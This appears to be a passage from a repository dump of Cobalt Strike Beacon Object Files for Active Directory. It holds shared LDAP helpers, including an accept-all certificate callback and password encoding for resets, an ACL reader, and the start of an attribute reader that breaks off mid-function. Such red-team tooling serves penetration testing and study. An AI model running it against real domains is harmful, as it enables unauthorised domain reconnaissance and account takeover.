pGroup = (PSID)MSVCRT$malloc(groupSize);\n\n    if (!pAbsoluteSD || !pDacl || !pSacl || !pOwner || !pGroup) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate buffers for absolute SD\");\n        if (pAbsoluteSD) MSVCRT$free(pAbsoluteSD);\n        if (pDacl) MSVCRT$free(pDacl);\n        if (pSacl) MSVCRT$free(pSacl);\n        if (pOwner) MSVCRT$free(pOwner);\n        if (pGroup) MSVCRT$free(pGroup);\n        return NULL;\n    }\n\n    // Convert to absolute format\n    if (!ADVAPI32$MakeAbsoluteSD(pSelfRelativeSD, pAbsoluteSD, &absSDSize, \n                                 pDacl, &daclSize, pSacl, &saclSize,\n                                 pOwner, &ownerSize, pGroup, &groupSize)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor to absolute format\");\n        MSVCRT$free(pAbsoluteSD);\n        MSVCRT$free(pDacl);\n        MSVCRT$free(pSacl);\n        MSVCRT$free(pOwner);\n        MSVCRT$free(pGroup);\n        return NULL;\n    }\n\n    // Note: The DACL, SACL, Owner, and Group pointers are now part of the absolute SD\n    // We should NOT free them separately. They'll be freed when the SD is freed\n    // However, we allocated them, so we need to track them for cleanup\n    // For BOF simplicity, we'll accept this small memory cost\n\n    return pAbsoluteSD;\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/common/ldap_common.c",
    "content": "// ldap_common.c - Shared LDAP utilities for BOF operations\n// This file should be #included in each BOF that uses these functions\n\n#include <windows.h>\n#include \"../../_include/ldap_common.h\"\n\n// Import required MSVCRT functions\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* str1, const char* str2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strncmp(const char* str1, const char* str2, size_t count);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char* dest, const char* src);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char* dest, const char* src);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strchr(const char *str, int c);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strstr(const char* str, const char* substr);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char* buffer, size_t count, const char* format, ...);\nDECLSPEC_IMPORT int __cdecl MSVCRT$sprintf(char* buffer, const char* format, ...);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strtok(char* str, const char* delimiters);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char* str1, const char* str2);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* dest, const void* src, size_t count);\n\n// Import kernel32 functions\nDECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);\nDECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar);\n\n#define CP_UTF8 65001\n#define CP_ACP 0\n\n// SSL certificate callback - accepts all certificates\nBOOLEAN ServerCertCallback(PLDAP Connection, PCCERT_CONTEXT pServerCert) {\n    return TRUE;\n}\n\n// Convert char* to wchar_t*\nwchar_t* CharToWChar(const char* str) {\n    if (!str) return NULL;\n\n    int len = KERNEL32$MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);\n    if (len == 0) return NULL;\n\n    wchar_t* wstr = (wchar_t*)MSVCRT$malloc(len * sizeof(wchar_t));\n    if (!wstr) return NULL;\n\n    KERNEL32$MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);\n    return wstr;\n}\n\n// Convert wchar_t* to char*\nchar* WCharToChar(const wchar_t* wstr) {\n    if (!wstr) return NULL;\n\n    int len = KERNEL32$WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL);\n    if (len == 0) return NULL;\n\n    char* str = (char*)MSVCRT$malloc(len);\n    if (!str) return NULL;\n\n    KERNEL32$WideCharToMultiByte(CP_UTF8, 0, wstr, -1, str, len, NULL, NULL);\n    return str;\n}\n\n// Simple helper that returns NULL if input doesn't have length\nchar* ValidateInput(char* input) {\n    if (input == NULL)\n        return NULL;\n\n    // Return NULL for empty strings, otherwise return the input\n    if (MSVCRT$strlen(input) == 0)\n        return NULL;\n\n    return input;\n}\n\n// Get Domain Controller hostname\nchar* GetDCHostName() {\n    PDOMAIN_CONTROLLER_INFOA pdcInfo = NULL;\n    char* dcHostname = NULL;\n\n    DWORD dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);\n\n    if (dwRet == 0 && pdcInfo) {  // ERROR_SUCCESS = 0\n        // DomainControllerName starts with \"\\\\\" - skip those\n        char* dcName = pdcInfo->DomainControllerName;\n        if (dcName && dcName[0] == '\\\\' && dcName[1] == '\\\\') {\n            dcName += 2;  // Skip the \"\\\\\"\n        }\n\n        // Allocate and copy the hostname\n        if (dcName) {\n            size_t len = MSVCRT$strlen(dcName) + 1;\n            dcHostname = (char*)MSVCRT$malloc(len);\n            if (dcHostname) {\n                MSVCRT$strcpy(dcHostname, dcName);\n            }\n        }\n\n        // Free the buffer allocated by DsGetDcNameA\n        NETAPI32$NetApiBufferFree(pdcInfo);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to identify DC. Are we domain joined?\");\n    }\n\n    return dcHostname;\n}\n\n// Build default naming context from DC hostname\n// Converts \"winterfell.north.sevenkingdoms.local\" to \"DC=north,DC=sevenkingdoms,DC=local\"\nchar* BuildDefaultNamingContextFromDC(const char* dcHostname) {\n    if (!dcHostname || MSVCRT$strlen(dcHostname) == 0) return NULL;\n\n    // Find first dot to skip hostname portion\n    const char* domainStart = MSVCRT$strchr(dcHostname, '.');\n    if (!domainStart || *(domainStart + 1) == '\\0') {\n        // No domain component found\n        return NULL;\n    }\n\n    domainStart++; // Skip the dot\n\n    // Count dots to determine number of DC components needed\n    int dotCount = 0;\n    const char* p = domainStart;\n    while (*p) {\n        if (*p == '.') dotCount++;\n        p++;\n    }\n\n    // Calculate required buffer size: \"DC=\" (3) + label + \",\" per component, minus last comma\n    size_t domainLen = MSVCRT$strlen(domainStart);\n    size_t bufferSize = domainLen + (dotCount + 1) * 3 + dotCount + 1; // +1 for null terminator\n\n    char* defaultNC = (char*)MSVCRT$malloc(bufferSize);\n    if (!defaultNC) return NULL;\n\n    // Build the DN: DC=north,DC=sevenkingdoms,DC=local\n    char* writePos = defaultNC;\n    const char* readPos = domainStart;\n    BOOL firstComponent = TRUE;\n\n    while (*readPos) {\n        // Add comma separator (except for first component)\n        if (!firstComponent) {\n            *writePos++ = ',';\n        }\n        firstComponent = FALSE;\n\n        // Add \"DC=\"\n        *writePos++ = 'D';\n        *writePos++ = 'C';\n        *writePos++ = '=';\n\n        // Copy label until dot or end\n        while (*readPos && *readPos != '.') {\n            *writePos++ = *readPos++;\n        }\n\n        // Skip the dot if present\n        if (*readPos == '.') readPos++;\n    }\n\n    *writePos = '\\0';\n    return defaultNC;\n}\n\n// Initialize LDAP connection with proper authentication\nLDAP* InitializeLDAPConnection(const char* dcAddress, BOOL useLdaps, char** outDcHostname) {\n    LDAP* pLdapConnection = NULL;\n    ULONG result;\n    int portNumber = useLdaps ? LDAP_SSL_PORT : LDAP_PORT;\n    char* discoveredDC = NULL;\n    char* targetDC = NULL;\n\n    // If no DC address provided, auto-discover it\n    if (!dcAddress || MSVCRT$strlen(dcAddress) == 0) {\n        discoveredDC = GetDCHostName();\n        if (!discoveredDC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to discover DC\");\n            return NULL;\n        }\n        targetDC = discoveredDC;\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Discovered DC: %s\", targetDC);\n    } else {\n        targetDC = (char*)dcAddress;\n    }\n\n    // Store hostname for later use\n    if (outDcHostname) {\n        size_t len = MSVCRT$strlen(targetDC) + 1;\n        *outDcHostname = (char*)MSVCRT$malloc(len);\n        if (*outDcHostname) {\n            MSVCRT$strcpy(*outDcHostname, targetDC);\n        }\n    }\n\n    //BeaconPrintf(CALLBACK_OUTPUT, \"[*] Connecting to: %s:%d\", targetDC, portNumber);\n\n    // Use ldap_init with hostname (ANSI version)\n    pLdapConnection = WLDAP32$ldap_init((PCHAR)targetDC, portNumber);\n    if (!pLdapConnection) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection on port %d\", portNumber);\n        if (discoveredDC) MSVCRT$free(discoveredDC);\n        return NULL;\n    }\n\n    // Set LDAP version to 3 (required)\n    ULONG version = LDAP_VERSION3;\n    result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_VERSION, (void*)&version);\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set LDAP version: %lu\", result);\n        WLDAP32$ldap_unbind_s(pLdapConnection);\n        if (discoveredDC) MSVCRT$free(discoveredDC);\n        return NULL;\n    }\n\n    if (useLdaps) {\n        // For LDAPS (port 636), enable SSL\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_SSL, LDAP_OPT_ON);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to enable SSL: %lu\", result);\n            WLDAP32$ldap_unbind_s(pLdapConnection);\n            if (discoveredDC) MSVCRT$free(discoveredDC);\n            return NULL;\n        }\n\n        // Set certificate callback\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_SERVER_CERTIFICATE, (void*)&ServerCertCallback);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set certificate callback: %lu\", result);\n        }\n    } else {\n        // For regular LDAP (port 389), enable signing and sealing\n        // These need to be set BEFORE binding with NEGOTIATE auth\n        void* value = LDAP_OPT_ON;\n\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_SIGN, &value);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Warning: Failed to enable LDAP signing: %lu\", result);\n        }\n\n        result = WLDAP32$ldap_set_option(pLdapConnection, LDAP_OPT_ENCRYPT, &value);\n        if (result != LDAP_SUCCESS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Warning: Failed to enable LDAP encryption: %lu\", result);\n        }\n    }\n\n    // Bind using current credentials (NEGOTIATE)\n    result = WLDAP32$ldap_bind_s(pLdapConnection, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to bind to LDAP\");\n        PrintLdapError(\"Bind\", result);\n        WLDAP32$ldap_unbind_s(pLdapConnection);\n        if (discoveredDC) MSVCRT$free(discoveredDC);\n        return NULL;\n    }\n\n    // Free discovered DC hostname if we allocated it\n    if (discoveredDC) {\n        MSVCRT$free(discoveredDC);\n    }\n\n    return pLdapConnection;\n}\n\n// Get default naming context from rootDSE\nchar* GetDefaultNamingContext(LDAP* ld, const char* dcHostname) {\n    if (!ld) return NULL;\n\n    // Try to build from DC hostname first (faster, no network query)\n    if (dcHostname && MSVCRT$strlen(dcHostname) > 0) {\n        char* defaultNC = BuildDefaultNamingContextFromDC(dcHostname);\n        if (defaultNC) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Default naming context: %s\", defaultNC);\n            return defaultNC;\n        }\n        // If building failed, fall through to query method\n    }\n\n    // Fallback: Query rootDSE (original implementation)\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char* attrs[] = { \"defaultNamingContext\", NULL };\n    char** values = NULL;\n    char* defaultNC = NULL;\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        \"\",                         // Empty base DN for rootDSE\n        LDAP_SCOPE_BASE,           // Base scope\n        \"(objectClass=*)\",         // Match everything\n        attrs,                     // Attributes\n        0,                         // Return attributes and values\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query rootDSE\");\n        return NULL;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    values = WLDAP32$ldap_get_values(ld, entry, \"defaultNamingContext\");\n    if (values && values[0]) {\n        size_t len = MSVCRT$strlen(values[0]) + 1;\n        defaultNC = (char*)MSVCRT$malloc(len);\n        if (defaultNC) {\n            MSVCRT$strcpy(defaultNC, values[0]);\n        }\n        WLDAP32$ldap_value_free(values);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    return defaultNC;\n}\n\n// Find object DN by sAMAccountName\nchar* FindObjectDN(LDAP* ld, const char* samAccountName, const char* searchBase) {\n    if (!ld || !samAccountName) return NULL;\n\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char filter[512];\n    char* attrs[] = { \"distinguishedName\", NULL };\n    char** values = NULL;\n    char* objectDN = NULL;\n\n    // Build search filter\n    MSVCRT$_snprintf(filter, sizeof(filter), \"(sAMAccountName=%s)\", samAccountName);\n\n    // Search for the object\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        (char*)searchBase,\n        LDAP_SCOPE_SUBTREE,\n        filter,\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for object '%s'\", samAccountName);\n        return NULL;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object '%s' not found\", samAccountName);\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    values = WLDAP32$ldap_get_values(ld, entry, \"distinguishedName\");\n    if (values && values[0]) {\n        size_t len = MSVCRT$strlen(values[0]) + 1;\n        objectDN = (char*)MSVCRT$malloc(len);\n        if (objectDN) {\n            MSVCRT$strcpy(objectDN, values[0]);\n        }\n        WLDAP32$ldap_value_free(values);\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n    return objectDN;\n}\n\n// Print LDAP error with context\nvoid PrintLdapError(const char* context, ULONG ldapError) {\n    char* errorMsg = WLDAP32$ldap_err2stringA(ldapError);\n    if (errorMsg) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] %s - LDAP Error (0x%x): %s\", context, ldapError, errorMsg);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] %s - LDAP Error: 0x%x\", context, ldapError);\n    }\n}\n\n// Encode password for unicodePwd attribute (UTF-16LE with quotes)\nBERVAL* EncodePassword(const char* password) {\n    if (!password || MSVCRT$strlen(password) == 0) return NULL;\n\n    // Create quoted password string\n    size_t passLen = MSVCRT$strlen(password);\n    char* quotedPass = (char*)MSVCRT$malloc(passLen + 3);\n    if (!quotedPass) return NULL;\n\n    quotedPass[0] = '\"';\n    MSVCRT$memcpy(quotedPass + 1, password, passLen);\n    quotedPass[passLen + 1] = '\"';\n    quotedPass[passLen + 2] = '\\0';\n\n    // Convert to UTF-16LE\n    int wideLen = KERNEL32$MultiByteToWideChar(CP_UTF8, 0, quotedPass, -1, NULL, 0);\n    if (wideLen == 0) {\n        MSVCRT$free(quotedPass);\n        return NULL;\n    }\n\n    wchar_t* widePass = (wchar_t*)MSVCRT$malloc(wideLen * sizeof(wchar_t));\n    if (!widePass) {\n        MSVCRT$free(quotedPass);\n        return NULL;\n    }\n\n    KERNEL32$MultiByteToWideChar(CP_UTF8, 0, quotedPass, -1, widePass, wideLen);\n    MSVCRT$free(quotedPass);\n\n    // Create BERVAL\n    BERVAL* berval = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n    if (!berval) {\n        MSVCRT$free(widePass);\n        return NULL;\n    }\n\n    berval->bv_len = (wideLen - 1) * sizeof(wchar_t); // Exclude null terminator\n    berval->bv_val = (char*)widePass;\n\n    return berval;\n}\n\n// Cleanup LDAP connection\nvoid CleanupLDAP(LDAP* ld) {\n    if (ld) {\n        WLDAP32$ldap_unbind_s(ld);\n    }\n}\n\n// Build SD_FLAGS control for security descriptor queries\n// Returns pointer to LDAPControlA structure, or NULL on error\n// Caller must provide buffer (at least 10 bytes) and berval storage\nLDAPControlA* BuildSDFlagsControl(DWORD sdFlags, char* buffer, struct berval* bervalStorage) {\n    if (!buffer || !bervalStorage) return NULL;\n\n    static LDAPControlA sdFlagsControl;\n    int bufferPos = 0;\n\n    // BER-encode the SD_FLAGS value\n    // SEQUENCE tag\n    buffer[bufferPos++] = 0x30;\n    int seqLenPos = bufferPos++;\n\n    // INTEGER tag\n    buffer[bufferPos++] = 0x02;\n    // INTEGER length = 1 byte\n    buffer[bufferPos++] = 0x01;\n    // INTEGER value (only using low byte for flags)\n    buffer[bufferPos++] = (char)(sdFlags & 0xFF);\n\n    // Set SEQUENCE length\n    buffer[seqLenPos] = (char)(bufferPos - seqLenPos - 1);\n\n    bervalStorage->bv_len = bufferPos;\n    bervalStorage->bv_val = buffer;\n\n    sdFlagsControl.ldctl_oid = LDAP_SERVER_SD_FLAGS_OID;\n    sdFlagsControl.ldctl_value = *bervalStorage;\n    sdFlagsControl.ldctl_iscritical = TRUE;\n\n    return &sdFlagsControl;\n}\n\n// Convert binary GUID to string format\nvoid FormatGUID(BYTE* guidBytes, char* output) {\n    MSVCRT$sprintf(output, \"%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\",\n        guidBytes[3], guidBytes[2], guidBytes[1], guidBytes[0],\n        guidBytes[5], guidBytes[4],\n        guidBytes[7], guidBytes[6],\n        guidBytes[8], guidBytes[9],\n        guidBytes[10], guidBytes[11], guidBytes[12], guidBytes[13], guidBytes[14], guidBytes[15]);\n}\n\n// Convert binary SID to string format (simplified - handles common SIDs)\nvoid FormatSID(BYTE* sidBytes, int length, char* output) {\n    if (length < 8) {\n        MSVCRT$sprintf(output, \"(invalid SID)\");\n        return;\n    }\n\n    BYTE revision = sidBytes[0];\n    BYTE subAuthCount = sidBytes[1];\n\n    // Authority (6 bytes, big-endian)\n    unsigned long long authority = 0;\n    for (int i = 0; i < 6; i++) {\n        authority = (authority << 8) | sidBytes[2 + i];\n    }\n\n    // Start building the SID string\n    int pos = MSVCRT$sprintf(output, \"S-%d-%llu\", revision, authority);\n\n    // SubAuthorities (32-bit values, little-endian)\n    for (int i = 0; i < subAuthCount && (8 + i * 4 + 3) < length; i++) {\n        unsigned long subAuth =\n            (unsigned long)sidBytes[8 + i * 4] |\n            ((unsigned long)sidBytes[8 + i * 4 + 1] << 8) |\n            ((unsigned long)sidBytes[8 + i * 4 + 2] << 16) |\n            ((unsigned long)sidBytes[8 + i * 4 + 3] << 24);\n        pos += MSVCRT$sprintf(output + pos, \"-%lu\", subAuth);\n    }\n}\n\n// Build attribute list from comma-separated string\n// Returns number of attributes in the array\nint BuildAttributeList(char* attributesStr, char** defaultAttrs, int defaultCount, char** attrs, int maxAttrs) {\n    int attrCount = 0;\n\n    // Always include sAMAccountName\n    attrs[attrCount++] = \"sAMAccountName\";\n\n    // If attributes specified, parse comma-separated list\n    if (attributesStr && MSVCRT$strlen(attributesStr) > 0) {\n        char* token = MSVCRT$strtok(attributesStr, \",\");\n        while (token != NULL && attrCount < (maxAttrs - 1)) {\n            // Trim leading spaces\n            while (*token == ' ') token++;\n            // Skip if it's sAMAccountName (already added)\n            if (MSVCRT$_stricmp(token, \"sAMAccountName\") != 0) {\n                attrs[attrCount++] = token;\n            }\n            token = MSVCRT$strtok(NULL, \",\");\n        }\n    } else if (defaultAttrs) {\n        // Add default attributes if provided and no custom attributes\n        for (int i = 0; i < defaultCount && attrCount < (maxAttrs - 1); i++) {\n            attrs[attrCount++] = defaultAttrs[i];\n        }\n    }\n\n    attrs[attrCount] = NULL;\n    return attrCount;\n}\n\n// Display attribute value (handles both string and binary attributes)\nvoid DisplayAttributeValue(LDAP* ld, LDAPMessage* entry, const char* attrName) {\n    // Check if this is a known binary attribute (case-insensitive)\n    BOOL isBinary = (MSVCRT$_stricmp(attrName, \"objectGUID\") == 0 ||\n                    MSVCRT$_stricmp(attrName, \"objectSid\") == 0 ||\n                    MSVCRT$_stricmp(attrName, \"ntSecurityDescriptor\") == 0);\n\n    if (isBinary) {\n        // Handle binary attributes\n        struct berval** bvalues = WLDAP32$ldap_get_values_len(ld, entry, (char*)attrName);\n        if (bvalues && bvalues[0]) {\n            for (int j = 0; bvalues[j] != NULL; j++) {\n                char formatted[256];\n                if (MSVCRT$_stricmp(attrName, \"objectGUID\") == 0) {\n                    FormatGUID((BYTE*)bvalues[j]->bv_val, formatted);\n                    BeaconPrintf(CALLBACK_OUTPUT, \"%s: %s\", attrName, formatted);\n                } else if (MSVCRT$_stricmp(attrName, \"objectSid\") == 0 ||\n                           MSVCRT$_stricmp(attrName, \"objectSID\") == 0) {\n                    FormatSID((BYTE*)bvalues[j]->bv_val, bvalues[j]->bv_len, formatted);\n                    BeaconPrintf(CALLBACK_OUTPUT, \"%s: %s\", attrName, formatted);\n                } else if (MSVCRT$_stricmp(attrName, \"ntSecurityDescriptor\") == 0) {\n                    // Convert binary security descriptor to SDDL string\n                    LPSTR sddlString = NULL;\n                    ULONG sddlLen = 0;\n\n                    // Convert to SDDL format (Owner, Group, DACL, SACL)\n                    if (ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorA(\n                            (PSECURITY_DESCRIPTOR)bvalues[j]->bv_val,\n                            1,  // SDDL_REVISION_1\n                            OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION |\n                            DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION,\n                            &sddlString,\n                            &sddlLen)) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%s: %s\", attrName, sddlString);\n                        KERNEL32$LocalFree(sddlString);\n                    } else {\n                        // Fallback to hex display if SDDL conversion fails\n                        int displayLen = bvalues[j]->bv_len < 32 ? bvalues[j]->bv_len : 32;\n                        char hexStr[256] = {0};\n                        int pos = 0;\n                        for (int k = 0; k < displayLen && pos < sizeof(hexStr) - 3; k++) {\n                            pos += MSVCRT$_snprintf(hexStr + pos, sizeof(hexStr) - pos, \"%02x\", (BYTE)bvalues[j]->bv_val[k]);\n                        }\n                        if (bvalues[j]->bv_len > displayLen) {\n                            MSVCRT$_snprintf(hexStr + pos, sizeof(hexStr) - pos, \"... (%d bytes total)\", bvalues[j]->bv_len);\n                        }\n                        BeaconPrintf(CALLBACK_OUTPUT, \"%s: %s\", attrName, hexStr);\n                    }\n                }\n            }\n            WLDAP32$ldap_value_free_len(bvalues);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s: <not found>\", attrName);\n        }\n    } else {\n        // Handle string attributes\n        char** values = WLDAP32$ldap_get_values(ld, entry, (char*)attrName);\n        if (values && values[0]) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s: %s\", attrName, values[0]);\n            // Print additional values if multi-valued\n            for (int j = 1; values[j] != NULL; j++) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"%s: %s\", attrName, values[j]);\n            }\n            WLDAP32$ldap_value_free(values);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s: <not found>\", attrName);\n        }\n    }\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-acl.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: object_identifier, is_dn, search_ou, dc_address, use_ldaps, resolve_names\n    char* objectIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isObjectDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    int resolveNames = BeaconDataInt(&parser);\n\n    if (!objectIdentifier || MSVCRT$strlen(objectIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object identifier is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isObjectDN) {\n        size_t len = MSVCRT$strlen(objectIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, objectIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, objectIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", objectIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Read security descriptor\n    BERVAL* sdBerval = ReadSecurityDescriptor(ld, targetDN);\n    if (!sdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read security descriptor\");\n        goto cleanup;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Read security descriptor (%d bytes)\", sdBerval->bv_len);\n\n    // Get object SID for display\n    PSID pObjectSid = GetObjectSid(ld, targetDN);\n    char* objectSidStr = NULL;\n    if (pObjectSid) {\n        objectSidStr = SidToString(pObjectSid);\n    }\n\n    // Parse security descriptor\n    PSD_INFO sdInfo = ParseSecurityDescriptor((BYTE*)sdBerval->bv_val, sdBerval->bv_len);\n    if (!sdInfo) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse security descriptor\");\n        if (objectSidStr) MSVCRT$free(objectSidStr);\n        if (pObjectSid) MSVCRT$free(pObjectSid);\n        MSVCRT$free(sdBerval->bv_val);\n        MSVCRT$free(sdBerval);\n        goto cleanup;\n    }\n\n    // Resolve SID names if requested\n    if (resolveNames) {\n        if (sdInfo->OwnerSid) {\n            sdInfo->OwnerName = ResolveSidToName(ld, sdInfo->OwnerSid, defaultNC);\n        }\n        if (sdInfo->GroupSid) {\n            sdInfo->GroupName = ResolveSidToName(ld, sdInfo->GroupSid, defaultNC);\n        }\n        if (sdInfo->DaclAces) {\n            for (DWORD i = 0; i < sdInfo->DaclAceCount; i++) {\n                if (sdInfo->DaclAces[i].TrusteeSid) {\n                    sdInfo->DaclAces[i].TrusteeName = ResolveSidToName(ld, sdInfo->DaclAces[i].TrusteeSid, defaultNC);\n                }\n            }\n        }\n    }\n\n    // Display security descriptor\n    PrintSecurityDescriptorInfo(sdInfo, targetDN, objectSidStr);\n\n    // Cleanup\n    FreeSecurityDescriptorInfo(sdInfo);\n    if (objectSidStr) MSVCRT$free(objectSidStr);\n    if (pObjectSid) MSVCRT$free(pObjectSid);\n    MSVCRT$free(sdBerval->bv_val);\n    MSVCRT$free(sdBerval);\n\ncleanup:\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (targetDN) MSVCRT$free(targetDN);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/get/get-attribute.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, attributes (comma-separated), search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* attributesStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!attributesStr || MSVCRT$strlen(attributesStr) == 0) {\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            